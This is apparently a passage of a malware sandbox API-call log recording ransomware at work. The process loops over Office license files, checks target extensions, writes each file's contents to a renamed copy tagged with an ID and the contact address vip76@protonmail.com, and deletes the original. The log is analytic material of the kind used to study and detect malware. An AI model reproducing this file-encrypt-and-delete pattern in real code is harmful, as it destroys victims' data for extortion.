	[0200.751] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1
	[0200.751] lstrlenW (lpString=".bz2") returned 4
	[0200.751] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1
	[0200.751] lstrlenW (lpString=".7z") returned 3
	[0200.751] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1
	[0200.751] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTest1-ppd.xrm-ms") returned 83
	[0200.751] lstrlenW (lpString=".dbf") returned 4
	[0200.751] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1
	[0200.751] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTest1-ppd.xrm-ms") returned 83
	[0200.751] lstrlenW (lpString=".1cd") returned 4
	[0200.751] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1
	[0200.751] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTest1-ppd.xrm-ms") returned 83
	[0200.751] lstrlenW (lpString=".jpg") returned 4
	[0200.752] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1
	[0200.752] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTest1-ppd.xrm-ms") returned 83
	[0200.752] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTest1-ppd.xrm-ms") returned 83
	[0200.752] lstrlenW (lpString=".doc") returned 4
	[0200.752] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1
	[0200.752] lstrlenW (lpString=".docx") returned 5
	[0200.752] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1
	[0200.752] lstrlenW (lpString=".pdf") returned 4
	[0200.752] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1
	[0200.752] lstrlenW (lpString=".xls") returned 4
	[0200.752] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1
	[0200.752] lstrlenW (lpString=".xlsx") returned 5
	[0200.752] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1
	[0200.752] lstrlenW (lpString=".ppt") returned 4
	[0200.752] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1
	[0200.752] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTest1-ppd.xrm-ms") returned 83
	[0200.752] lstrlenW (lpString=".zip") returned 4
	[0200.752] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1
	[0200.752] lstrlenW (lpString=".rar") returned 4
	[0200.752] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1
	[0200.752] lstrlenW (lpString=".bz2") returned 4
	[0200.752] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1
	[0200.752] lstrlenW (lpString=".7z") returned 3
	[0200.752] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1
	[0200.752] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTest1-ppd.xrm-ms") returned 83
	[0200.752] lstrlenW (lpString=".dbf") returned 4
	[0200.752] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1
	[0200.752] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTest1-ppd.xrm-ms") returned 83
	[0200.752] lstrlenW (lpString=".1cd") returned 4
	[0200.752] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1
	[0200.752] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTest1-ppd.xrm-ms") returned 83
	[0200.753] lstrlenW (lpString=".jpg") returned 4
	[0200.753] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1
	[0200.753] lstrcmpiW (lpString1=".xrm-ms", lpString2=".html") returned 1
	[0200.753] lstrlenW (lpString="O365HomePremR_SubTest1-ul-oob.xrm-ms") returned 36
	[0200.753] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTest1-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365homepremr_subtest1-ul-oob.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x594
	[0200.754] GetFileSizeEx (in: hFile=0x594, lpFileSize=0x33cff14 | out: lpFileSize=0x33cff14*=11630) returned 1
	[0200.754] CloseHandle (hObject=0x594) returned 1
	[0200.754] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTest1-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365homepremr_subtest1-ul-oob.xrm-ms")) returned 0x220
	[0200.754] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTest1-ul-oob.xrm-ms.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365homepremr_subtest1-ul-oob.xrm-ms.id-b4197730.[vip76@protonmail.com].html")) returned 0xffffffff
	[0200.754] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTest1-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365homepremr_subtest1-ul-oob.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x594
	[0200.754] SetFilePointerEx (in: hFile=0x594, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33cfec0 | out: lpNewFilePointer=0x0) returned 1
	[0200.754] SetFilePointerEx (in: hFile=0x594, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33cfec0 | out: lpNewFilePointer=0x0) returned 1
	[0200.755] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTest1-ul-oob.xrm-ms.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365homepremr_subtest1-ul-oob.xrm-ms.id-b4197730.[vip76@protonmail.com].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x500
	[0200.755] GetLastError () returned 0x0
	[0200.755] ReadFile (in: hFile=0x594, lpBuffer=0x3fbb020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33cfecc, lpOverlapped=0x0 | out: lpBuffer=0x3fbb020*, lpNumberOfBytesRead=0x33cfecc*=0x2d6e, lpOverlapped=0x0) returned 1
	[0200.967] WriteFile (in: hFile=0x500, lpBuffer=0x3fbb020*, nNumberOfBytesToWrite=0x2d70, lpNumberOfBytesWritten=0x33cfc94, lpOverlapped=0x0 | out: lpBuffer=0x3fbb020*, lpNumberOfBytesWritten=0x33cfc94*=0x2d70, lpOverlapped=0x0) returned 1
	[0200.968] ReadFile (in: hFile=0x594, lpBuffer=0x3fbb020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33cfecc, lpOverlapped=0x0 | out: lpBuffer=0x3fbb020*, lpNumberOfBytesRead=0x33cfecc*=0x0, lpOverlapped=0x0) returned 1
	[0200.968] WriteFile (in: hFile=0x500, lpBuffer=0x3fbb020*, nNumberOfBytesToWrite=0x11c, lpNumberOfBytesWritten=0x33cfc94, lpOverlapped=0x0 | out: lpBuffer=0x3fbb020*, lpNumberOfBytesWritten=0x33cfc94*=0x11c, lpOverlapped=0x0) returned 1
	[0200.969] SetEndOfFile (hFile=0x500) returned 1
	[0200.969] CloseHandle (hObject=0x500) returned 1
	[0200.969] SetFilePointerEx (in: hFile=0x594, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33cfec0 | out: lpNewFilePointer=0x0) returned 1
	[0200.969] SetEndOfFile (hFile=0x594) returned 1
	[0200.971] CloseHandle (hObject=0x594) returned 1
	[0200.972] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTest1-ul-oob.xrm-ms.id-B4197730.[vip76@protonmail.com].html", dwFileAttributes=0x220) returned 1
	[0200.972] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTest1-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365homepremr_subtest1-ul-oob.xrm-ms")) returned 1
	[0200.973] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTest1-ul-oob.xrm-ms") returned 86
	[0200.973] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTest1-ul-oob.xrm-ms") returned 86
	[0200.973] lstrlenW (lpString=".doc") returned 4
	[0200.973] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1
	[0200.973] lstrlenW (lpString=".docx") returned 5
	[0200.973] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1
	[0200.973] lstrlenW (lpString=".pdf") returned 4
	[0200.973] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1
	[0200.973] lstrlenW (lpString=".xls") returned 4
	[0200.973] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1
	[0200.973] lstrlenW (lpString=".xlsx") returned 5
	[0200.973] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1
	[0200.973] lstrlenW (lpString=".ppt") returned 4
	[0200.973] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1
	[0200.973] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTest1-ul-oob.xrm-ms") returned 86
	[0200.973] lstrlenW (lpString=".zip") returned 4
	[0200.973] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1
	[0200.973] lstrlenW (lpString=".rar") returned 4
	[0200.973] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1
	[0200.973] lstrlenW (lpString=".bz2") returned 4
	[0200.974] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1
	[0200.974] lstrlenW (lpString=".7z") returned 3
	[0200.974] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1
	[0200.974] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTest1-ul-oob.xrm-ms") returned 86
	[0200.974] lstrlenW (lpString=".dbf") returned 4
	[0200.974] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1
	[0200.974] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTest1-ul-oob.xrm-ms") returned 86
	[0200.974] lstrlenW (lpString=".1cd") returned 4
	[0200.974] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1
	[0200.974] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTest1-ul-oob.xrm-ms") returned 86
	[0200.974] lstrlenW (lpString=".jpg") returned 4
	[0200.974] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1
	[0200.974] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTest1-ul-oob.xrm-ms") returned 86
	[0200.974] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTest1-ul-oob.xrm-ms") returned 86
	[0200.974] lstrlenW (lpString=".doc") returned 4
	[0200.974] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1
	[0200.974] lstrlenW (lpString=".docx") returned 5
	[0200.974] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1
	[0200.974] lstrlenW (lpString=".pdf") returned 4
	[0200.974] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1
	[0200.974] lstrlenW (lpString=".xls") returned 4
	[0200.974] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1
	[0200.974] lstrlenW (lpString=".xlsx") returned 5
	[0200.974] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1
	[0200.974] lstrlenW (lpString=".ppt") returned 4
	[0200.974] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1
	[0200.974] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTest1-ul-oob.xrm-ms") returned 86
	[0200.974] lstrlenW (lpString=".zip") returned 4
	[0200.974] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1
	[0200.975] lstrlenW (lpString=".rar") returned 4
	[0200.975] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1
	[0200.975] lstrlenW (lpString=".bz2") returned 4
	[0200.975] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1
	[0200.975] lstrlenW (lpString=".7z") returned 3
	[0200.975] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1
	[0200.975] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTest1-ul-oob.xrm-ms") returned 86
	[0200.975] lstrlenW (lpString=".dbf") returned 4
	[0200.975] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1
	[0200.975] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTest1-ul-oob.xrm-ms") returned 86
	[0200.975] lstrlenW (lpString=".1cd") returned 4
	[0200.975] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1
	[0200.975] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTest1-ul-oob.xrm-ms") returned 86
	[0200.975] lstrlenW (lpString=".jpg") returned 4
	[0200.975] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1
	[0200.975] lstrcmpiW (lpString1=".xrm-ms", lpString2=".html") returned 1
	[0200.975] lstrlenW (lpString="O365HomePremR_SubTest4-pl.xrm-ms") returned 32
	[0200.975] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTest4-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365homepremr_subtest4-pl.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x594
	[0200.976] GetFileSizeEx (in: hFile=0x594, lpFileSize=0x33cff14 | out: lpFileSize=0x33cff14*=11179) returned 1
	[0200.976] CloseHandle (hObject=0x594) returned 1
	[0200.976] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTest4-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365homepremr_subtest4-pl.xrm-ms")) returned 0x220
	[0200.976] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTest4-pl.xrm-ms.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365homepremr_subtest4-pl.xrm-ms.id-b4197730.[vip76@protonmail.com].html")) returned 0xffffffff
	[0200.976] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTest4-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365homepremr_subtest4-pl.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x594
	[0200.977] SetFilePointerEx (in: hFile=0x594, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33cfec0 | out: lpNewFilePointer=0x0) returned 1
	[0200.977] SetFilePointerEx (in: hFile=0x594, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33cfec0 | out: lpNewFilePointer=0x0) returned 1
	[0200.977] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTest4-pl.xrm-ms.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365homepremr_subtest4-pl.xrm-ms.id-b4197730.[vip76@protonmail.com].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x500
	[0200.978] GetLastError () returned 0x0
	[0200.978] ReadFile (in: hFile=0x594, lpBuffer=0x3fbb020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33cfecc, lpOverlapped=0x0 | out: lpBuffer=0x3fbb020*, lpNumberOfBytesRead=0x33cfecc*=0x2bab, lpOverlapped=0x0) returned 1
	[0200.980] WriteFile (in: hFile=0x500, lpBuffer=0x3fbb020*, nNumberOfBytesToWrite=0x2bb0, lpNumberOfBytesWritten=0x33cfc94, lpOverlapped=0x0 | out: lpBuffer=0x3fbb020*, lpNumberOfBytesWritten=0x33cfc94*=0x2bb0, lpOverlapped=0x0) returned 1
	[0200.981] ReadFile (in: hFile=0x594, lpBuffer=0x3fbb020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33cfecc, lpOverlapped=0x0 | out: lpBuffer=0x3fbb020*, lpNumberOfBytesRead=0x33cfecc*=0x0, lpOverlapped=0x0) returned 1
	[0200.981] WriteFile (in: hFile=0x500, lpBuffer=0x3fbb020*, nNumberOfBytesToWrite=0x114, lpNumberOfBytesWritten=0x33cfc94, lpOverlapped=0x0 | out: lpBuffer=0x3fbb020*, lpNumberOfBytesWritten=0x33cfc94*=0x114, lpOverlapped=0x0) returned 1
	[0200.981] SetEndOfFile (hFile=0x500) returned 1
	[0200.982] CloseHandle (hObject=0x500) returned 1
	[0200.982] SetFilePointerEx (in: hFile=0x594, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33cfec0 | out: lpNewFilePointer=0x0) returned 1
	[0200.982] SetEndOfFile (hFile=0x594) returned 1
	[0200.984] CloseHandle (hObject=0x594) returned 1
	[0200.985] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTest4-pl.xrm-ms.id-B4197730.[vip76@protonmail.com].html", dwFileAttributes=0x220) returned 1
	[0200.985] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTest4-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365homepremr_subtest4-pl.xrm-ms")) returned 1
	[0200.986] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTest4-pl.xrm-ms") returned 82
	[0200.986] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTest4-pl.xrm-ms") returned 82
	[0200.986] lstrlenW (lpString=".doc") returned 4
	[0200.986] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1
	[0200.986] lstrlenW (lpString=".docx") returned 5
	[0200.986] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1
	[0200.986] lstrlenW (lpString=".pdf") returned 4
	[0200.986] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1
	[0200.986] lstrlenW (lpString=".xls") returned 4
	[0200.986] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1
	[0200.986] lstrlenW (lpString=".xlsx") returned 5
	[0200.986] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1
	[0200.986] lstrlenW (lpString=".ppt") returned 4
	[0200.986] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1
	[0200.986] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTest4-pl.xrm-ms") returned 82
	[0200.986] lstrlenW (lpString=".zip") returned 4
	[0200.986] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1
	[0200.986] lstrlenW (lpString=".rar") returned 4
	[0200.986] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1
	[0200.986] lstrlenW (lpString=".bz2") returned 4
	[0200.986] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1
	[0200.986] lstrlenW (lpString=".7z") returned 3
	[0200.987] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1
	[0200.987] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTest4-pl.xrm-ms") returned 82
	[0200.987] lstrlenW (lpString=".dbf") returned 4
	[0200.987] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1
	[0200.987] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTest4-pl.xrm-ms") returned 82
	[0200.987] lstrlenW (lpString=".1cd") returned 4
	[0200.987] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1
	[0200.987] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTest4-pl.xrm-ms") returned 82
	[0200.987] lstrlenW (lpString=".jpg") returned 4
	[0200.987] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1
	[0200.987] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTest4-pl.xrm-ms") returned 82
	[0200.987] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTest4-pl.xrm-ms") returned 82
	[0200.987] lstrlenW (lpString=".doc") returned 4
	[0200.987] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1
	[0200.987] lstrlenW (lpString=".docx") returned 5
	[0200.987] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1
	[0200.987] lstrlenW (lpString=".pdf") returned 4
	[0200.987] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1
	[0200.987] lstrlenW (lpString=".xls") returned 4
	[0200.987] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1
	[0200.987] lstrlenW (lpString=".xlsx") returned 5
	[0200.987] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1
	[0200.987] lstrlenW (lpString=".ppt") returned 4
	[0200.987] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1
	[0200.987] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTest4-pl.xrm-ms") returned 82
	[0200.987] lstrlenW (lpString=".zip") returned 4
	[0200.987] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1
	[0200.987] lstrlenW (lpString=".rar") returned 4
	[0200.987] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1
	[0200.988] lstrlenW (lpString=".bz2") returned 4
	[0200.988] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1
	[0200.988] lstrlenW (lpString=".7z") returned 3
	[0200.988] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1
	[0200.988] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTest4-pl.xrm-ms") returned 82
	[0200.988] lstrlenW (lpString=".dbf") returned 4
	[0200.988] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1
	[0200.988] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTest4-pl.xrm-ms") returned 82
	[0200.988] lstrlenW (lpString=".1cd") returned 4
	[0200.988] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1
	[0200.988] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTest4-pl.xrm-ms") returned 82
	[0200.988] lstrlenW (lpString=".jpg") returned 4
	[0200.988] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1
	[0200.988] lstrcmpiW (lpString1=".xrm-ms", lpString2=".html") returned 1
	[0200.988] lstrlenW (lpString="O365HomePremR_SubTest4-ppd.xrm-ms") returned 33
	[0200.988] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTest4-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365homepremr_subtest4-ppd.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x594
	[0200.989] GetFileSizeEx (in: hFile=0x594, lpFileSize=0x33cff14 | out: lpFileSize=0x33cff14*=23134) returned 1
	[0200.989] CloseHandle (hObject=0x594) returned 1
	[0200.989] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTest4-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365homepremr_subtest4-ppd.xrm-ms")) returned 0x220
	[0200.989] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTest4-ppd.xrm-ms.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365homepremr_subtest4-ppd.xrm-ms.id-b4197730.[vip76@protonmail.com].html")) returned 0xffffffff
	[0200.989] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTest4-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365homepremr_subtest4-ppd.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x594
	[0200.990] SetFilePointerEx (in: hFile=0x594, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33cfec0 | out: lpNewFilePointer=0x0) returned 1
	[0200.990] SetFilePointerEx (in: hFile=0x594, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33cfec0 | out: lpNewFilePointer=0x0) returned 1
	[0200.990] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTest4-ppd.xrm-ms.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365homepremr_subtest4-ppd.xrm-ms.id-b4197730.[vip76@protonmail.com].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x500
	[0200.991] GetLastError () returned 0x0
	[0200.991] ReadFile (in: hFile=0x594, lpBuffer=0x3fbb020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33cfecc, lpOverlapped=0x0 | out: lpBuffer=0x3fbb020*, lpNumberOfBytesRead=0x33cfecc*=0x5a5e, lpOverlapped=0x0) returned 1
	[0200.993] WriteFile (in: hFile=0x500, lpBuffer=0x3fbb020*, nNumberOfBytesToWrite=0x5a60, lpNumberOfBytesWritten=0x33cfc94, lpOverlapped=0x0 | out: lpBuffer=0x3fbb020*, lpNumberOfBytesWritten=0x33cfc94*=0x5a60, lpOverlapped=0x0) returned 1
	[0200.994] ReadFile (in: hFile=0x594, lpBuffer=0x3fbb020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33cfecc, lpOverlapped=0x0 | out: lpBuffer=0x3fbb020*, lpNumberOfBytesRead=0x33cfecc*=0x0, lpOverlapped=0x0) returned 1
	[0200.995] WriteFile (in: hFile=0x500, lpBuffer=0x3fbb020*, nNumberOfBytesToWrite=0x116, lpNumberOfBytesWritten=0x33cfc94, lpOverlapped=0x0 | out: lpBuffer=0x3fbb020*, lpNumberOfBytesWritten=0x33cfc94*=0x116, lpOverlapped=0x0) returned 1
	[0200.995] SetEndOfFile (hFile=0x500) returned 1
	[0200.995] CloseHandle (hObject=0x500) returned 1
	[0200.995] SetFilePointerEx (in: hFile=0x594, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33cfec0 | out: lpNewFilePointer=0x0) returned 1
	[0200.995] SetEndOfFile (hFile=0x594) returned 1
	[0200.999] CloseHandle (hObject=0x594) returned 1
	[0200.999] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTest4-ppd.xrm-ms.id-B4197730.[vip76@protonmail.com].html", dwFileAttributes=0x220) returned 1
	[0200.999] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTest4-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365homepremr_subtest4-ppd.xrm-ms")) returned 1
	[0201.000] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTest4-ppd.xrm-ms") returned 83
